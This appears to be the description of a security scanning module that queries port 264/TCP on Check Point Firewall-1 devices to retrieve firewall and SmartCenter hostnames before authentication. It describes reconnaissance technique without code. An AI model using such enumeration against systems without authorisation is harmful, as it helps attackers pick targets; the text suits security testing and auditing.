|
|
This module sends a query to the port 264/TCP on CheckPoint Firewall-1
|
|
firewalls to obtain the firewall name and management station
|
|
(such as SmartCenter) name via a pre-authentication request. The string
|
|
returned is the CheckPoint Internal CA CN for SmartCenter and the firewall
|
|
host. Whilst considered "public" information, the majority of installations
|
|
use detailed hostnames which may aid an attacker in focusing on compromising
|
|
the SmartCenter host, or useful for government, intelligence and military
|
|
networks where the hostname reveals the physical location and rack number
|
|
of the device, which may be unintentionally published to the world.
